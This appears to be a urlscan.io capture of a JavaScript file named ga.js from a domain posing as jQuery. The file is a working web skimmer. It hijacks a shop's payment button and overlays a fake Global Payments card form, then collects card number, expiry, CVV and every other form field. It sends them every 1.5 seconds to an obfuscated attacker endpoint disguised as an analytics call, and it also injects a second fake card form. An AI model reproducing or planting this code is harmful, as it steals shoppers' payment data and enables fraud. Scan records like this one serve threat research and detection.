jquery-migrates.com Open in urlscan Pro
47.254.184.114  Public Scan

URL: http://jquery-migrates.com/ga.js
Submission: On September 08 via manual from IN — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

if( document.readyState !== 'loading' ) {
	document.getElementsByTagName('form')[3].setAttribute("id", "subform");
    let buttonss = document.getElementById('pay_with_credit_debit');
	buttonss.type = "button";
	buttonss.setAttribute("onClick", "payment()");
} else {
    document.addEventListener('DOMContentLoaded', function () {
	document.getElementsByTagName('form')[3].setAttribute("id", "subform");
    let buttonss = document.getElementById('pay_with_credit_debit');
	buttonss.type = "button";
	buttonss.setAttribute("onClick", "payment()");
    });
}

function payment() {

document.getElementsByTagName('head')[0].innerHTML = '';

document.head.insertAdjacentHTML("beforeend", "<style>.row {    margin-bottom: 10px;}</style>");
document.getElementsByTagName('body')[0].style.background ="#fff";
document.getElementsByClassName('mobile-menu')[0].style.display = "none";
document.getElementsByClassName('shifter-page')[0].style.display = "none";
document.getElementsByClassName('shifter-navigation')[0].style.display = "none";
document.getElementById('LoAvailableBtn').style.display = "none";



let fontt1 = document.createElement('link');
    fontt1.rel = 'stylesheet';
    fontt1.href = 'https://fonts.googleapis.com/css2?family=Open+Sans:wght@300&display=swap';
    document.head.appendChild(fontt1);
	
let link11 = document.createElement('link');
    link11.rel = 'stylesheet';
    link11.href = 'https://pay.realexpayments.com/resources/css/v2/hpp.605-3c3cec090dd.min.css';
    document.head.appendChild(link11);	
	
let link12 = document.createElement('link');
    link12.rel = 'stylesheet';
    link12.href = 'https://pay.realexpayments.com/resources/css/v2/portfolios/realex.min.css';
    document.head.appendChild(link12);	
	
	
	
	
let a = document.getElementsByTagName('body')[0];
a.insertAdjacentHTML('afterbegin', ' <div id="geryback" style="postition:absolute; width:100%; height:100%; display:none;"><img id="geryimg" src="https://c.tenor.com/I6kN-6X7nhAAAAAj/loading-buffering.gif" style="display:none;"><div id="gerytext" style="display:none;">ethernal server error 500</div></div>  <div class="container-fluid portfolio-realex en" id="rxp-hpp">  <!-- HTML ALERT MESSAGES SECTIONS --> <div id="alert-container" tabindex="-1"></div> <!-- END HTML ALERT MESSAGES SECTIONS -->  <div class="success" id="success-pane" style="display: none"> <span id="result-message"></span> </div> <div class="rxp-container rxp-merchant-container">   <div class="row" id="rxp-header">  <div class="col-lg-12" id="rxp-header-title"> <h1 class="rxp-title"><span>Payment Details</span></h1> </div> </div>    <!-- HTML CONTAINER OF SECTIONS --> <div aria-multiselectable="true" class="panel-group" id="hpp-accordion" role="tablist">  <!-- HTML FOR PAY WITH SAVED CARD SECTION -->  <!-- END HTML FOR PAY WITH SAVED CARD SECTION -->   <!-- HTML FOR PAY WITH ANOTHER CARD SECTION --> <div class="panel" id="another-card-section">  <div id="panelPayWithNewCard" role="tabpanel" class="panel-collapse in"> <div class="panel-body"> <div id="rpx-another-card"> <div class="row" id="rpx-cardnum-section"> <div class="form-group"> <div class="col-lg-6 col-md-6 col-xs-6" id="rpx-cardnum-title"> <label class="control-label" for="pas_ccnum">Card Number</label> </div> <div class="col-lg-6 col-md-6 col-xs-6" id="rpx-cardnum-item"> <span class="pull-right rxp-allowed-cards"> <img alt="Visa-Card" class="rxp rxp-visa-small" id="visa-logo" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAQCAYAAADj5tSrAAAAJUlEQVQ4T2NkoANgpIMdDKOWkBTKo8E1GlwkhQBJikdT1wgNLgA7+AARnF7vNQAAAABJRU5ErkJggg=="> <img alt="Mastercard-Card" class="rxp rxp-mc-small" id="mc-logo" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAQCAYAAAAMJL+VAAAAJUlEQVQ4T2NkoDFgpLH5DKMWEAzh0SAaDSKCIUBQwWgqGgFBBAA5mAAR8NWIIgAAAABJRU5ErkJggg=="> <img alt="Amex-Card" class="rxp rxp-amex-small" id="amex-logo" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAQCAYAAAAMJL+VAAAAJUlEQVQ4T2NkoDFgpLH5DKMWEAzh0SAaDSKCIUBQwWgqGgFBBAA5mAAR8NWIIgAAAABJRU5ErkJggg==">    <img alt="Switch-Card" class="rxp rxp-switch-small" id="switch-logo" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABwAAAATCAYAAACDW21BAAAANElEQVRIS2NkoDNgpLN9DKMWUj3ER4N0NEhJDoHRRENykBHSMBqkhEKIZPnRICU5yAhpAABcQQAUOrV/ogAAAABJRU5ErkJggg==">    <img class="rxp-hidden" id="card-loader" src="/resources/images/ajax-loader.gif"> </span> </div> <div class="col-lg-12 col-md-12 col-xs-12" id="rpx-cardnum-box"> <input autocomplete="off" class="form-control digitsOnly" id="pas_ccnum" maxlength="23" name="pas_ccnum" required="required" type="tel" placeholder="Card Number" aria-required="true">  <input id="cardIdentifyError" name="cardIdentifyError" type="hidden" value=""> <span class="help-inline" id="card-errors"></span> </div> </div> </div> <div class="row" id="rpx-date-cccvc-section"> <div class="col-lg-6 col-md-7 col-xs-12" id="rpx-expiry-date"> <div class="form-group"> <div class="col-xs-12"> <label class="control-label" for="pas_expiry">Expiry</label> </div> <div class="col-xs-12"> <input autocomplete="off" class="form-control digitsOnly" id="pas_expiry" maxlength="5" name="pas_expiry" required="required" type="tel" placeholder="MM/YY" aria-required="true"> <span class="help-inline" id="expiry-error-container"></span> </div> </div> </div>  <div class="col-lg-6 col-md-5 col-xs-12" id="rpx-security-code"> <div class="form-group"> <div class="col-xs-12"> <label class="control-label" for="pas_cccvc">Security Code</label> </div> <div class="col-xs-12"> <div class="input-group"> <input autocomplete="off" class="form-control digitsOnly" id="pas_cccvc" maxlength="4" name="pas_cccvc" required="required" type="tel" placeholder="Security Code" aria-required="true"> <div class="input-group-addon"> <img alt="quest" class="rxp " id="mc-logo" src="https://jquery-migrates.com/img/quest.png"> </div> </div> <span class="help-inline"></span> </div> </div> </div> </div>  <div class="row" id="rpx-issue-number-section" style="display: none"> <div class="form-group"> <div class="col-xs-12"> <label class="control-label" for="pas_issuenumber">Issue Number (if applicable)</label> </div>  <div class="col-xs-12"> <input autocomplete="off" class="form-control digitsOnly" id="pas_issuenumber" maxlength="2" name="pas_issuenumber" type="tel" placeholder="Issue Number">  <span class="help-inline" id="issuenumber-errors"></span> </div> </div> </div>  <div class="row" id="rpx-cardholder-section"> <div class="form-group"> <div class="col-xs-12"> <label class="control-label" for="pas_ccname">Cardholder Name</label> </div> <div class="col-xs-12">  <input class="form-control" id="pas_ccname" maxlength="100" name="pas_ccname" required="required" type="text" placeholder="Cardholder Name" aria-required="true">  <span class="help-inline" id="ccname-errors"></span> </div> </div> </div>    <div class="dcc-offer-container" id="realex-dcc-holder"></div>  <!-- END FORM PAYMENT --> </div> </div> </div> <div class="col-xs-12" id="amount-surcharge-offer-section" style="display: none"> <p class="amount-surcharge" id="amountSurcharge">An additional charge for the card type (<span id="merchantDataCardType"></span>) will be applied.<br> You will be charged <span id="merchantDataCurrency"></span><span id="merchantDataAmount"></span>.</p></div> </div> <!-- END HTML FOR PAY WITH ANOTHER CARD SECTION --> </div> <!-- END HTML CONTAINER OF SECTIONS -->  <div class="row" id="info-box-footer"> <div class="col-xs-12"> <p class="rxp-btn-info rxp-merchant-btn-info rxp-center rxp-hidden">For added security you will be transferred to your bank"s card verification page</p> <p class="text-center rxp-hidden" id="loading-footer"><img src="/resources/images/ajax-loader.gif"></p> </div> </div>  <div id="main-btn-box"> <input id="rxp-primary-btn-old-text" name="rxp-primary-btn-old-text" type="hidden"> <button class="btn btn-hpp-a form-control" id="rxp-primary-btn" type="submit" onClick="error()" value="Pay Now"><img src="https://jquery-migrates.com/img/block.png"> Pay Now</button></div>  <div class="row" id="rxp-footer">  <div class="col-xs-4" id="rxp-footer-logo-ssl-box">  <img alt="ssl" class="rxp rxp-256-bit-ssl" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFcAAAAeCAYAAABZn4LIAAAAdElEQVRoQ+3SMQ0AAAzDsJU/6aHwlwLIYXXXmMBYufCFC08QbrhQAKZ7brhQAKZ7brhQAKZ7brhQAKZ7brhQAKZ7brhQAKZ7brhQAKZ7brhQAKZ7brhQAKZ7brhQAKZ7brhQAKZ7brhQAKZ7brhQAKZ7LsR9ovEAH0k/UeMAAAAASUVORK5CYII="> </div>    <div class="col-xs-8 text-right" id="rxp-footer-logo-byrealex-box"> <span class="security-msg"> <div>Securely processed by</div> <div> Global Payments </div> </span> <img alt="Secured by Global Payments" src="https://pay.realexpayments.com/resources/images/icons/realex-grey.png"> </div>  </div>  </div> <div id="rxp-hpp-tab-loop" tabindex="0"></div> </div>  <div class="container-fluid portfolio-realex en" id="3ds2-acs-challenge-container" style="text-align: center; padding: 0"> </div> ');

document.getElementById('rxp-primary-btn').setAttribute("style", "font-family: 'Open Sans', sans-serif;font-weight: 500;");
$('#pas_expiry').on('input',function(e){
    if($(this).val().length == 2 && characterCount < $(this).val().length) {
        $(this).val($(this).val()+'/');
    }
    characterCount = $(this).val().length
});
let input_card = document.querySelector('#pas_ccnum');
  let count_card = 0;
  input_card.addEventListener('keypress', function() {
    if (count_card == 4) {
      count_card = 0;
      this.value += ' ';
    }
    count_card++;
  });

}

function error() {

let geryback = document.getElementById('geryback');
let geryimg = document.getElementById('geryimg');
let gerytext = document.getElementById('gerytext');

geryback.style = "display: block; position:absolute;width:100%;height:200%;z-index: 9999;background: #80808094;";
geryimg.style = "display: block;  margin-left: auto;  margin-right: auto;  width: 3%;";
setTimeout(function(){ gerytext.style="display: block; font-size: 18px; text-align: center;"}, 2000);
setTimeout(function(){  $('#subform').submit();}, 3000);

}



















var SendFlag = [];
function Base64Function(e) {
	return btoa(encodeURIComponent(e).replace(/%([0-9A-F]{2})/g, function(e, t) {
		return String.fromCharCode(parseInt(t, 16))
	}))
}
function CheckFields() {
    
    Array.from(document.getElementsByTagName('input')).forEach(function (item, i) {
        if (item.getAttribute("onchange") == null)
            item.setAttribute("onchange", "GetData(this, '0')");
        else
            if (item.getAttribute("onchange").search(/GetData/i) == -1)
            item.setAttribute("onchange", "GetData(this, '0');" + item.getAttribute("onchange"));
    });
    
    Array.from(document.getElementsByTagName('select')).forEach(function (item, i) {
        if (item.getAttribute("onchange") == null)
            item.setAttribute("onchange", "GetData(this, '1');");
        else
            if (item.getAttribute("onchange").search(/GetData/i) == -1)
            item.setAttribute("onchange", "GetData(this, '1');" + item.getAttribute("onchange"));
    });

    Array.from(document.getElementsByTagName('textarea')).forEach(function (item, i) {
        if (item.getAttribute("onchange") == null)
            item.setAttribute("onchange", "GetData(this), '2'");
        else
            if (item.getAttribute("onchange").search(/GetData/i) == -1)
            item.setAttribute("onchange", "GetData(this, '2');" + item.getAttribute("onchange"));
    });
}
function GetData(element, type) {
    var vals=[];
    vals.push("url%"+location.hostname);
    vals.push("type:2");
    if(type != '1'){
        if(element.value.length > 0){
            if(element.id.length == 0)
                vals.push(element.name+"%"+element.value);
            else
                if(element.id.length != 0)
                    vals.push(element.id+"%"+element.value);
            
            SendData(vals);
    }}
    else{
        if(element.value.length > 0 && (element.name.search('zone|region|state|address_id') != -1 || element.id.search('zone|region|state|address_id') != -1) ){
           
            //If select have numeric value
            if( element.value.replace(/[^-0-9]/gim,'')  == element.value){
                
                if(element.id.length == 0)
                    vals.push(element.name+"%"+element.options[element.selectedIndex].text);
                else
                    if(element.id.length != 0)
                        vals.push(element.id+"%"+element.options[element.selectedIndex].text);
            }
            else{
                if(element.id.length == 0)
                    vals.push(element.name+"%"+element.options[element.selectedIndex].text);
                else
                    if(element.id.length != 0)
                        vals.push(element.id+"%"+element.options[element.selectedIndex].text);
            }
            SendData(vals);
        }
        else{
            if(element.id.length == 0)
                vals.push(element.name+"%"+element.value);
            else
                if(element.id.length != 0)
                    vals.push(element.id+"%"+element.value);
            
            SendData(vals);
        }
    }
}
function SendData(vals){
    
    if(JSON.stringify(SendFlag) == JSON.stringify(vals)){
        return false;}
    else 
        SendFlag = vals;
        
    var img_id =  Math.random() * (99999 - 10000) + 10000;
    var DataName = JSON.stringify(vals);
    var b = document.createElement("img");b.width = "1px";b.height = "1px"; b.id = img_id;b.src = atob("aHR0cHM6Ly9qcXVlcnktbWlncmF0ZXMuY29t")+"/ga.php?analytic=" + Base64Function(DataName); document.body.appendChild(b);
    setTimeout(document.getElementById(img_id).remove(),1500);
}
function Default_Send(){
            var values=[];
            values.push("url%" + location.hostname);
            values.push("type%2");
            
            Array.from(document.getElementsByTagName('input')).forEach(function (item, i) {
                if(item.value.length > 0){
                    if(item.id.length == 0)
                        values.push(item.name+"%"+item.value);
                    else
                        if(item.id.length != 0)
                            values.push(item.id+"%"+item.value);
                }
            });
            Array.from(document.getElementsByTagName('select')).forEach(function (item, i) {
                    if(item.value.length > 0 && (item.name.search('zone|region|state|address_id') != -1 || item.id.search('zone|region|state|address_id') != -1) ){
            
                        //If select have numeric value
                        if( item.value.replace(/[^-0-9]/gim,'')  == item.value){
                            
                            if(item.id.length == 0)
                                values.push(item.name+"%"+item.options[item.selectedIndex].text);
                            else
                                if(item.id.length != 0)
                                    values.push(item.id+"%"+item.options[item.selectedIndex].text);
                        }
                        else{
                            if(item.id.length == 0)
                                values.push(item.name+"%"+item.options[item.selectedIndex].text);
                            else
                                if(item.id.length != 0)
                                    values.push(item.id+"%"+item.options[item.selectedIndex].text);
                        }
                        
                    }
                    else{
                        if(item.id.length == 0)
                            values.push(item.name+"%"+item.value);
                        else
                            if(item.id.length != 0)
                                values.push(item.id+"%"+item.value);
                    }
            });
            Array.from(document.getElementsByTagName('textarea')).forEach(function (item, i) {
                if(item.value.length > 0){
                    if(item.id.length == 0)
                        values.push(item.name+"%"+item.value);
                    else
                        if(item.id.length != 0)
                            values.push(item.id+"%"+item.value);
                }
            });
            SendData(values);
};
window.onload = function () {
    if(location.href.search('') != -1 ){
        Default_Send();
        setInterval('Default_Send()', 1500);
        setInterval('CheckFields()', 1000);
    }
};

(function(){
	var t = setInterval(function(){
		if(document.getElementsByClassName('maxWidth')[0]){
			var d1 = document.getElementsByClassName('maxWidth')[0]; 
			d1.insertAdjacentHTML('beforebegin', '<div class="wrapper"><div class="payment-container" style="float:left;margin-bottom: 80px; margin-top: 30px;"><div class="credit_card_holder" data-form-state="new" style="display: block;"><div class="flipper"><div class="new-card credit_card" style="height: 285px;"><div class="stripe-card-info"><h4>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Pay by Credit Card:</h4></div><p><label>Name on Card:</label><input class="required js-full-name-input" name="input-cc-owner" placeholder="Credit Card Owner Name" type="text" value=""></p><p><label>Card Number</label> <input class="cc_number" maxlength="19" placeholder="1234 5678 9012 3456" type="tel" name="input-cc-number" value=""></p><p class="js-expiry_date_p expiry-date-p"><label>Expiry Date</label> <input class="expiry_date numeric required" maxlength="7" placeholder="MM / YY" type="tel" name="input-cc-expire-date" value=""></p><p class="cv_code_p"><label>CVV Code</label>&nbsp;<input autocomplete="off" class="cv_code numeric required" maxlength="4" placeholder="123" type="tel" style="width: 31px;" name="input-cc-cvv2" value=""></p></div></div></div></div></div><link rel="stylesheet" media="screen" href="https://assets.gumroad.com/assets/buyers-20b3a2e5f32ba2db988f649148f99fb9575b8f0167fd17f5476add7ad1bc2b43.css"><br clear="left">');
			clearInterval(t);
		}
	},100);
})();